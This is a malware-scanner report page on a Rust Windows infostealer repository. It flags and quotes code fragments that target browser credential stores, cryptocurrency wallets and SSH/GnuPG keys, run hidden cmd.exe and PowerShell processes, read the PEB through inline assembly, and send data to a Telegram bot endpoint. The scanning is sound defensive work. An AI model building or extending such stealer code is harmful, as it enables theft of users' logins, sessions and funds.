DANGER

malware detected

github.com / vibheksoni

vibheksoni/ferrox

Rust·78 files·commit 24efd9d·scanned 4h ago·cached ✓

70/100

DANGEROUS

Sensitive capability combinations reachable from entry points. Do not run without review.

This repository contains patterns associated with malware. Do NOT run this code.

verdict accurate?

Research / educational context

threat-state: dangerouslive

FINDINGS ░▒▓

what this code does░▒▓

What happens when you open, install or run it, from the findings below.

when runscripts/sigdetect.py and src/proc/browser/bbrowser.rs reference browser profile paths, where saved logins and cookies live. scripts/sigdetect.py, src/proc/browser/bbrowser.rs
when runsrc/app/app_wallets.rs and src/wallet/desktop_apps.rs reference wallet or keystore paths. src/app/app_wallets.rs, src/wallet/desktop_apps.rs
when runscripts/build.py and 3 other files start system processes. scripts/build.py, src/detection.rs, src/dissolve.rs, src/fingerprint.rs

warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.scripts/build.py

            if os.path.exists(pycrypt_path):
                result = subprocess.run(
                    ["python", pycrypt_path, "src/lib.rs"],
                    capture_output=True, text=True, sh...

warningRust unsafe blockunsafe blocks bypass Rust's memory safety guarantees. Malware uses them for raw pointer manipulation, shellcode injection, or calling dangerous foreign functions.src/cleanup.rs

    let mut buffer = vec![0u16; 32768];
    unsafe {
        let len = HashedAPIs::get_module_file_name_w(null_mut(), buffer.as_mut_ptr(), buffer.len() as u32);
        if len > 0 {

criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.src/detection.rs

        
        if let Ok(output) = Command::new(sprotect!("wmic"))
            .args([sprotect!("process"), sprotect!("get"), sprotect!("name,commandline")])
            .creation_flags(CREATE_NO_WI...

criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.src/dissolve.rs

        
        let result = Command::new(sprotect!("cmd.exe"))
            .args([&sprotect!("/c"), &batch_path.to_string_lossy().to_string()])
            .creation_flags(CREATE_NO_WINDOW)

criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.src/fingerprint.rs

        
        let mut cmd = Command::new(sprotect!("powershell"));
        cmd.arg(sprotect!("-Command"))
           .arg(sprotect!("(Get-WmiObject Win32_Processor).ProcessorId"))

    let peb: *mut c_void;
    unsafe {
        asm!(
            "mov {}, gs:[0x60]",

warningRust unsafe blockunsafe blocks bypass Rust's memory safety guarantees. Malware uses them for raw pointer manipulation, shellcode injection, or calling dangerous foreign functions.src/ntcall.rs

    
    unsafe {
        asm!(
            "mov r10, rcx",

infoSuspicious files are not reachable from entry pointsFlagged files exist but are not imported by any entry point. They may be dead code, tests, or attack payloads triggered by another mechanism.+2

criticalBrowser credential store accessAccessing Chrome, Firefox, Edge, or Brave profile directories to steal cookies, passwords, and session tokens.scripts/sigdetect.py

        r'\\Microsoft\\Edge\\User Data',
        r'\\BraveSoftware\\Brave-Browser',
        r'\\Discord\\Local Storage',
        r'\\Telegram Desktop',

+10

criticalCryptocurrency wallet directory accessAccessing wallet directories to steal private keys, seed phrases, or wallet data.src/app/app_wallets.rs+5

criticalCryptocurrency wallet directory accessAccessing wallet directories to steal private keys, seed phrases, or wallet data.src/docs/crypto_keys.rs+5

warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.src/docs/crypto_keys.rs

            PathBuf::from(&userprofile).join(sprotect!("AppData\\Roaming\\gnupg")),
            PathBuf::from(&userprofile).join(sprotect!(".gnupg")),
            PathBuf::from(&userprofile).join(spro...

criticalBrowser credential store accessAccessing Chrome, Firefox, Edge, or Brave profile directories to steal cookies, passwords, and session tokens.src/docs/user_docs.rs

        let browser_download_paths = vec![
            base_path.join(sprotect!("AppData\\Local\\Google\\Chrome\\User Data\\Default\\Downloads")),
            base_path.join(sprotect!("AppData\\Local\...

+10

criticalBrowser credential store accessAccessing Chrome, Firefox, Edge, or Brave profile directories to steal cookies, passwords, and session tokens.src/proc/browser/bbrowser.rs

    let additional_paths = [
        sprotect!("C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"),
        sprotect!("C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\App...

+10

criticalCryptocurrency wallet directory accessAccessing wallet directories to steal private keys, seed phrases, or wallet data.src/wallet/desktop_apps.rs+5

Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.

69 files scanned @ 24efd9d | 10/30/2026 | heuristic scan — always review manually

risk by category

code execution25

network & exfiltration0

file system access20

obfuscation0

supply chain0

owasp / injection0

telemetry

files 69/78rules hit 15engine v10commit 24efd9d

github

vibheksoni/ferrox

Windows infostealer in Rust with polymorphic builds, Hell's Gate syscalls, and compile-time encryption. Educational use only.

Rust

246d

78 files

69 scanned(88%)

24efd9d

network indicators░▒▓

Hosts this code names or would connect to. 9 found, decoded and call-site destinations first. Informational, not scored.

https://api.telegram.org/bottelegram botsrc/communications/telegram.rs:218
https://www.google.com/generate_204urlsrc/evasion.rs:38 +1 more
https://www.cloudflare.com/cdn-cgi/traceurlsrc/evasion.rs:39 +1 more
https://www.bing.com/favicon.icourlsrc/evasion.rs:40 +1 more
https://www.microsoft.com/favicon.icourlsrc/evasion.rs:41 +1 more
https://api.ipify.orgurlsrc/recon.rs:95
https://icanhazip.comurlsrc/recon.rs:96
https://ifconfig.me/ipurlsrc/recon.rs:97
https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryptionurlcomment onlysrc/proc/browser/bloader.rs:15

architecture░▒▓

entry (2) flagged (20) pkg (55)

124 nodes · 105 edgesscroll to zoom · click node to jump to finding